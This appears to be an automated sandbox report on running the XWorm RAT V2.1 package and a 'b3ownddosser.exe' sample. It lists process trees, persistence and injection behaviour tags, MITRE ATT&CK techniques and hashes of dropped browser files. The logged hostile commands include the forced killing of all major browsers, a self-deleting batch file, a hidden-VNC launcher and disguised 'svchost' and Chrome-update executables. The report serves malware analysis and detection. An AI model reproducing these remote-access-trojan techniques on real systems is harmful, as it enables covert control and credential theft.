C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" H5IP9K 127.0.0.1 8001 PGVEIX2⤵
-
C:\Users\Admin\Pictures\b3ownddosser.exe"C:\Users\Admin\Pictures\b3ownddosser.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Modifies registry class
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" H5IP9K 127.0.0.1 8001 PGVEIX2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" H5IP9K 127.0.0.1 8001 PGVEIX2⤵
-
C:\Users\Admin\Pictures\b3ownddosser.exe"C:\Users\Admin\Pictures\b3ownddosser.exe"1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Modifies registry class
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" H5IP9K 127.0.0.1 8001 PGVEIX2⤵
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"1⤵
- NTFS ADS
-
C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpDF3E.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpDF3E.tmp.bat3⤵
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 6544"4⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\find.exefind ":"4⤵
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak4⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"1⤵
- NTFS ADS
-
C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp46A.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp46A.tmp.bat3⤵
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 5588"4⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\find.exefind ":"4⤵
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak4⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\Fixer.bat" "1⤵
-
C:\Windows\system32\lodctr.exelodctr /r2⤵
- Drops file in System32 directory
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC-Client.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC-Client.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 2EA4LO 127.0.0.1 8000 Q4JNC52⤵
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC.exe"1⤵
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC-Client.exe"C:\Users\Admin\Downloads\XWorm-RAT-V2.1-main\XWorm-RAT-V2.1-main\XWorm RAT V2.1\XHVNC-Client.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Modifies registry class
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 2EA4LO 127.0.0.1 8000 Q4JNC52⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" 2EA4LO 127.0.0.1 8000 Q4JNC52⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM brave.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM brave.exe4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM chrome.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM chrome.exe4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM msedge.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM msedge.exe4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM firefox.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM firefox.exe4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c taskkill /F /IM opera.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM opera.exe4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Crashpad\settings.datFilesize
40B
MD5b72ccf74a88b62706af12d6073b1c4bf
SHA1af09cb48102a916c3d8e8c678b6b4a3df1a817d3
SHA256937665e0c77b99ac62eecdd3b7a0411db2e3fd4058a9ad45e6c9ae5164849c39
SHA512b6424efd8c5e74f3fa0bc881d3ad66dc987cbdaa7d9fc6f778f7828d4d1d92db2a6bd36122f2bcc27702f3e006972acc3f4caea163f3b4b6b41158c6e4f5598b
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Code Cache\js\index-dir\the-real-indexFilesize
480B
MD523ca5cba26688757b60ce503cd1ff6c4
SHA1999d8b84b7a9a0ae054b2389480624e4ef747091
SHA256fbf732e247eda52ff8b2356405b5a9b596eaedb4b00926543e8f5b595f9f97ca
SHA512dd1755a649550d172634d612c396f3b077ca052dda64c1db8618b9fc479bbd10ee0bf81c21064d63f60b133a0a8d16f5965152859830cbaff35091e475df6bca
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Code Cache\js\index-dir\the-real-index~RFe5c2070.TMPFilesize
168B
MD56d5a2baac4f9567d60b5642ae438876f
SHA1b0e4768d356c2e71ade39b5894fb64c196f436bb
SHA256cc13c8b7c907e21803ad372efecb2375e7be86f98dfa9be58e259947be0cc625
SHA5121bbb04f639e639f34bcf8fdd341f466fea2a51fc4d67789c5d6808ba41bc106926382b2e0b9530f8b5ae8f471d9a4a27f3a83a397b7905710efe99d16e1db0ba
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENTFilesize
16B
MD546295cac801e5d4857d09837238a6394
SHA144e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA2560f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA5128969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001Filesize
41B
MD55af87dfd673ba2115e2fcf5cfdb727ab
SHA1d5b5bbf396dc291274584ef71f444f420b6056f1
SHA256f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
SHA512de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Network Persistent StateFilesize
2KB
MD598ba8fadb40473d6e96dc8c13486be6b
SHA182c7f83a3dc7891487167f4718dc6dd111cb551b
SHA256d9264b150c87cd96978a005cb97fe8226c42072d55cc6ef8c2105f11bcc32f7c
SHA5122049aafe24022d2b3933702089f79d056c8e8a5ca6d2cb9591b3aa2645f58a6c3ba511f5035c35de9358ebdc7ce1486e134004d3e6afd87da80a21506c0781f4
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Network Persistent StateFilesize
2KB
MD59c818deafac3be2266e8435aac2e4a55
SHA1bc60ea5cc16c36967f71b87a1973fca423c1faad
SHA2562ce91548cd5a9d174c369c376c34e44b8ff8389701b5bc1c00df1b6935ab0154
SHA512d8415a0b3cd276680c402628bda0e4a66e900847eebaea8158595d9daefc6224eb2ecfaf0ed81038117c88f1217c73e60bf88bb91936d95564dd478bff19d0ca
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Network Persistent StateFilesize
2KB
MD5c05680b0d85bde153702f5757a1881ab
SHA1ad4879b4e88f1ca31e221806380a78208d0d9502
SHA256e28f596dc63ca0d7dced7fc67ba233e405a63b513d19604061ceaa2dd4ba47e3
SHA512d1b5bddad5f59f8eb84fa850e9119bb51850bc549fc007eeb439af56f9759fb73a2da82eafa96eba293528e85cab886c7e34984a81c1398532c86ad2e7714887
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Network Persistent StateFilesize
1KB
MD53f48965a65227c6ba62a7bf6aeacda8e
SHA10c874bf5d42076adb21eb3e142a55b3acb36fa38
SHA25606b67add93b9f59744fb9e3c29ddc6fc5b97df0eb0aac36cf8e5b811e0cc31c9
SHA512018b064a6c8bffeeb9f5b78eceaee18f61f441b187f291039eaa2dbb3432e3b917056a5f0b761c2554502cf2aff297c01aede43af794fc79cdb7a67c667726bb
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Network Persistent StateFilesize
2KB
MD52a78878cf5a74ccdaafb144d9bad4681
SHA17812a06a52b6b62f2576191a72eb44477e3f8103
SHA2566763acf2b1046abc43e53fa3aa136e80825298a95c0be92651d7bd2fdd31204e
SHA512b9cf9cfe95183214dc78b765a3a12b24723570e22c34c96bbdc4652278833918651e2dc6b6e2621add74c162e2deb06220b8ce76f0512fcd1f20e6a31e1b6c43
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Network Persistent StateFilesize
2KB
MD50b6ae2482206eabd98184407d4812b24
SHA19499b92cbfd52593552b66bce42053a7715cff24
SHA256979703a7f53a7ee08efa6ba510651464335b8c22e7a608692609bd156918eab6
SHA512aa234215b9c229c88c41921bba8be9ea7b7603ad4ac5f8556f1378f549c487902cabf9cdfd758de531b26ea8f8ff1c32626ac6a879d15feac1e4fae2ef57e597
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\Network Persistent StateFilesize
2KB
MD5aff1f8d423eea1ceb09dfcc08397676a
SHA14d170d6858792a13873be98334dec639a6dfc232
SHA256418d5803e63d54fb2bf4a3cc6db5628ad912259c032787b2bd3ff19c23b506c7
SHA512bb5c5962976f8929e13ba97a23b5f68b39f8666d6c69aed153ed07c393825c18065df9df155aa9710a520816b2827735d47162ff8232289ddfa87fcf254ce54d
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\TransportSecurityFilesize
706B
MD56e622bd7de2fc06539e5cfb6d4bc7c16
SHA1842ebb0e63aba88548a5a4a9794c4d7c4a06ee80
SHA25629804baa65c713df1155d25597643a0c4c486ccd3d1a21de15685b263b90668e
SHA5127f9dfa5554b702e87019943999ff4788bc2aba6b3b3bb59fc9488bb92b24df5c37cc5b8ff895379db7d8766950e641a730ebc0774171cef0aa6ac479a2999b45
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\TransportSecurityFilesize
706B
MD5775cd0b7e74fcd4d16550f5a8fcff73a
SHA14276f6b8c616f200e8c0628829817f7801f46ed0
SHA2561f2e0108962ddb14c8ffb7bd3c483714a937bb6cbb0cc71de991a1638bd73582
SHA5125738e1a169d1f1f5669b0eeb8be7c2221ec2e56babef2ebf6b25b896167655eb4a6e0dcdbeb042ebb28c05b6fdc37c4706a08ea4a35e0d97b68118f3370393bf
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\TransportSecurityFilesize
706B
MD58644b46dccaa7c5ada6f9da22054a8d6
SHA17a32e8e55aad2be949531a771ba38a69f5cc4329
SHA2561169de5762a6513baa32bf475c56fb48c29d3952a1f61b566f1849d2a3bed778
SHA512f7a8ea9d669ee0899ad1847d8f3e8f026dceb48f19c298fab02d4a9f9235dc4fb24dc76d9b756212e0cf079c2045622e83ed3803e5e9602b9c39c4faeac74695
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\TransportSecurityFilesize
706B
MD5152dd42711cbe7a9ac01aba5605f16d0
SHA16682222506d58ba0d22d728534630a621a58c8fd
SHA2564ee97e528c2b038b83a00d1be3767942257ad470285fae2784c85159b082acf8
SHA512489cb5a5012e9f8e2b8c0dd1b1495b159cf49108c36384dcbb117f103b304acaa6e754c9151275ef5fd6f9436b0af383749f202320eeaef27d82c2a1b0211efa
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\Network\TransportSecurityFilesize
706B
MD5a4bcbf37dd6d06005d598d038a7f689d
SHA15452edb46ebe978a90abd481ff8e45d6651ff37d
SHA2564fffb084fc483dfce60e56fb2cc19ea4d3461386f46143eb30483d668f76b991
SHA5123226a8cb01e49315fa1c1e801196200a40cc027a2298d4da09e13d78e1af61e6a6d910f3b23a0f6b42890988d61246daac95ac213b7a6d625b484688cd7be00d
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\PreferencesFilesize
6KB
MD5b51b73ced77d3220ea83c47fc4fe6bb9
SHA19b815a93ea9dff8bce0893ac73f5c64e44761e85
SHA256c935ad4a619d11bf8bbc93cd1a5b1659c35db8a6a440fd96f64700bced5bc334
SHA5124d4d94d544d5d6b4d0179ca8c8715f7dfa54de64da14713c0b791fdce00e671069e6d9ff706372a78ba20b3d4ebf574ce0b774f7d8813c6b445a7647c1ae7935
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Default\f92323cb-8f12-4c4f-83d1-edf3f02da4ea.tmpFilesize
1B
MD55058f1af8388633f609cadb75a75dc9d
SHA13a52ce780950d4d969792a2559cd519d7ee8c727
SHA256cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
SHA5120b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\GrShaderCache\data_2Filesize
8KB
MD50962291d6d367570bee5454721c17e11
SHA159d10a893ef321a706a9255176761366115bedcb
SHA256ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
SHA512f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Local StateFilesize
137KB
MD5dcf900280f194aae7a8dad528c5f4510
SHA1b7c22c2d96d9b57ebd6fa109cce31fd7f5278dab
SHA2566c12842f1905ccd1887e622c2c7cf058c309458b6d5905d90c76764b5bf6344b
SHA512405c820e91556598f37f69abdf480c1393ba97bf9789ce73f003b585f543ac0f4dc3fad83b9f71fe09a840f5a000230fbb95f5ad5816300b9a239a1655ec82e2
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Module Info CacheFilesize
94KB
MD5b0954fb5350a94a10dab45095537f533
SHA1684e24a3a8a2dbfbe394a17be601170b62b38f4c
SHA256373c89abeb67c0f3f62799afdca90b403070d0aeb12f960f0d07274c32653f3b
SHA512bb40905746730e9dbac4373f3767a6f5d0ab2f9a130dd2f91612e82612883c0c6ffb1b7129f92a903ae2b86bbc7ff8aee675f58a6ded31d2ae9088f18d448465
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\ShaderCache\data_0Filesize
8KB
MD5cf89d16bb9107c631daabf0c0ee58efb
SHA13ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA256d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
SHA5128cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\ShaderCache\data_1Filesize
264KB
MD5f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
-
C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\ShaderCache\data_3Filesize
8KB
MD541876349cb12d6db992f1309f22df3f0
SHA15cf26b3420fc0302cd0a71e8d029739b8765be27
SHA256e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
SHA512e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\4a8beac1-80f9-49c1-8b85-8e7af79a70c1.tmpFilesize
6KB
MD5a526cb0247e44dab16c82785720581f9
SHA1b941a599a87cdbba6a204f727464686d9a3aed58
SHA2565ff1602a8378555f1b1a074062af6108f964b593ab0f9cf7324de257f196e910
SHA512c91cae4e20af8f153e139f3f9c745492f240ff7f5e59dc1cacd54913ed4e7da2eebad6cf32d3bbceb66f02ec648e8d0cf6cdfd731bf543a034da0475722f3a32
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\988afb84-58df-45b5-bc03-b6f0cf0f3f88.tmpFilesize
6KB
MD592dd930f2b5a7fa3a7a49727b89a2c2d
SHA19ca174f88dadc0dead7d275f35175c84f4cec2bc
SHA256fa682c76e01cf5c63ad5acc58fcf1f51a567dbb5b05e7b5a004ba93df39491b6
SHA5125e16dd5669eb77085a4c1b2197c495512ff583f680f604765e151367f0c769d6fe02a9b9e0531b1d28a4ff5421995cbedd4ce4c2fc0fd35189da963f036014f4
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
371B
MD52e6798b7e2f990bb598295638d81db91
SHA195996ce80f0aedf3fc9ae33b67e2d6d994f6f9dd
SHA2567ea97cd51d818429b0c9468dc32b10fa3968d73416023b72ec10825694c5ac08
SHA512b01c9912fcdf753cc962fbb9a7eeb47e0c38dbe77c289d2849fcda504a027b16f12b01c3bc4f33e98407b9509f78a4c413cd22e8991ff32d6187c1d9923d4b53
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurityFilesize
539B
MD5f589c7638efc1d2a9f24b85da3664a63
SHA1ee8f84171f8df24550843c6553f6742a9e628103
SHA256313e27023ce0a27110c095ec9ec2061c54ea937107aef359658fb2ba1d341bdf
SHA5123f6a5a8763ddf422aecb7cebd5f07727005578d032c11061cabfdda2d35c3c72f8b11bcf02a034b28875cdc404904a7b105e54556366791519f21f91cfd5a564
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure PreferencesFilesize
15KB
MD5a784a3f2156d96e6051801c610c65a7c
SHA1d9c6e10d0cd17c1056fd956393d8d258a1d2bbc5
SHA256882f5bfad8990a678ddac345639452d39be4e7ba4837238458382615707cb416
SHA5125c707ec82a027d3da0cae9ea0adde12d16f65e0abd4cfdd56b89c49539b03e1d91303070be1708df21c9b40241201f98c09ea56d6d27a884f35525b9388c1e7c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last BrowserFilesize
106B
MD5de9ef0c5bcc012a3a1131988dee272d8
SHA1fa9ccbdc969ac9e1474fce773234b28d50951cd8
SHA2563615498fbef408a96bf30e01c318dac2d5451b054998119080e7faac5995f590
SHA512cea946ebeadfe6be65e33edff6c68953a84ec2e2410884e12f406cac1e6c8a0793180433a7ef7ce097b24ea78a1fdbb4e3b3d9cdf1a827ab6ff5605da3691724
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last VersionFilesize
14B
MD59eae63c7a967fc314dd311d9f46a45b7
SHA1caba9c2c93acfe0b9ceb9ab19b992b0fc19c71cf
SHA2564288925b0cf871c7458c22c46936efb0e903802feb991a0e1803be94ca6c251d
SHA512bed924bff236bf5b6ce1df1db82e86c935e5830a20d9d24697efd82ca331e30604db8d04b0d692ec8541ec6deb2225bcc7d805b79f2db5726642198ecf6348b8
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local StateFilesize
263KB
MD56bc408666fcaf29a881bb1e206a2e990
SHA1a00e5d564651d930e48632519d6f467c0df5b485
SHA256ffdf9debe7e7136aaf5297e7c7d70b49ba93d69b0156d87d1cf53338230a268e
SHA512e7fa33526e6c0df4485bd794b97e0b600ebab8b33ab945de3a751e70a99c82134f5f6dead9e363de155135f5190a380036328dc585f922468d058d76ef1a1f26
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.jsonFilesize
2B
MD599914b932bd37a50b983c5e7c90ae93b
SHA1bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA25644136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
SHA51227c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Command Reciever.exe.logFilesize
1KB
MD5f6124be7822087101cfaca65733653f4
SHA1cc40c3110d3ae90008b0a4930259a0c18bba1703
SHA2564451dab0c07cb97f3f4e71be86ebb6f895b139a13a6c1df97ca5028a216f6925
SHA512f4bc2d963e9aecc93cb2d602b94c95521d461483665d128d0d4b7266b5686691973e6496706d9cd35816cd946a38c9c1c6482b80c264588eefdfafb69ac59835
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\XWorm RAT V2.1.exe.logFilesize
321B
MD5f806bfa68f99d4a19d806595611717b6
SHA1e83964cc47b297499f0add7d54aa237450fa4744
SHA2562d5ab2f4a9040dcf4444eee974461311f43e017406382778aa8c83a87c0c857a
SHA51212e35d2c49733241638c073a64679458fc24a0d06b4db735a0e86883a06167021900b9b3aad8bbb2d6701b61a6d049cc9d02a17de98fd2b1a394b6fb27d86119
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD57bea0f508971405600ec62102b0b821b
SHA1087fe4520987f512364cec5c523b6b29d9c36bbb
SHA256fee6ee1b1f8e741dbad62add0bdf396dc4acbd0c486be12382b0c065579e6b70
SHA5126208ff0ca29b7b747b7d82c5c4deb43f0a2ebf539d2c58987ab18382eff21b706c5bb2aa597ee617716310c6e648456d3f151d9d3ed78a1dd2be13a54b364c1d
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5c9a6fb74aa1d29cfb0033c26d1b8e146
SHA10d821bba1975da8fbad900dea0a43960643f9a44
SHA2567bd56093477f1e17114eafd35288dbe76d410616cb09fad47e8d6a3ad35d806a
SHA5126db04f427ada78642e5918b355ea73f1aa504d2735073d26d2bf588cece0daf1118fe0d3b892689598c45c7223a53e0467cbba5f0f5e4858187b28f956aaece2
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datFilesize
152B
MD5ec7568123e3bee98a389e115698dffeb
SHA11542627dbcbaf7d93fcadb771191f18c2248238c
SHA2565b5e61fe004e83477411dd2b6194e90591d36f2f145cc3b4faa20cf7ae266a75
SHA5124a53fbbd7281a1a391f0040f6ff5515cedf6e1f97f2dae4ab495b4f76eb4f929dcda6b347f9bf7f66a899330f8897e1ed117314945d1de27b035cc170fa447d3
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00003aFilesize
53KB
MD59ec7dceb8c749a75852eab1e2870704e
SHA1118df18e954ac58468ea0e49a42ea54014769408
SHA2564bf8610a3bf59b622143f07050e323b17a901d652f7c98ef56a191cb811d825c
SHA512ea68bc63365e9bdf603d3f3a9bb28a44448b8f4a6e8411365b4eac2cd77b6d3e546a9e9fd6161038ab70556bf0aa2425f25945169b67be4ed55ac1daf51621fa
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00003cFilesize
37KB
MD5fdedc7356552ef0724257c2b397673ba
SHA1dccb7b96ab20b5fe855872378328214c9a957f33
SHA256561ba8130265f08767b506be6006d451507a6ede0b1e99ca5c0c3314a2b6afb7
SHA512754d542ebfb2e035c3a0fc01a0f6bccec74ceb9574b376d433e487728f7bfaf03980cea1b3ae8ce4103e6d27909a7781c7f937be6482d105a919d49e7a021568
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00003dFilesize
99KB
MD5aa8ada05dfb233695d4eb83b761fa2b0
SHA173ebf0b671fdfcd3defd6144d162203fd2f1d664
SHA256d07cb56a265fcdc56c6ce7c282efd2df88bfe22ffa04ed9d667fcca83c32960d
SHA512133429f4dca97fb2a0754c63f2ad0036e4f5316e6507e1ceed7ef110feb8cec86945bc9786615e8558a67020632259e8ac96c8a941374a5108f03694ada122c0
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00003eFilesize
133KB
MD5eb0a159bc4f711f383bf205a7e8abcf4
SHA1744323ba7d3220fdfe5e7251fdee5f9071ad121e
SHA256e2a7516b0352d91c76b7e6eedd418dbf01b8ee1f0a3ef93fc88fde0d3e3d68b0
SHA512082ba40e7fc08499954581d4a3c507dfd0b94d519e2ffff5f7d2a6e7f100ce7e24ab87c7c3d49f64132585cd6db07c00cd1ef8527126d8764ec8493b7a92c954
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00003fFilesize
152KB
MD5c09e0625df7a8f20db9b66acb754d42d
SHA160559158068f238553120a055f463199c7fed51e
SHA256a069a0771667fcae932dafdaa94d953223e4090536256db245285676c832617e
SHA51263fc342d52ee2110dd7b0db731d1fd26306857ada46fa1d5d25ac0758a1899705c9ce9ca93d53f6eaecca08180df1b8cb2c731504fe88eb55c434b8198a3909f
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00007eFilesize
51KB
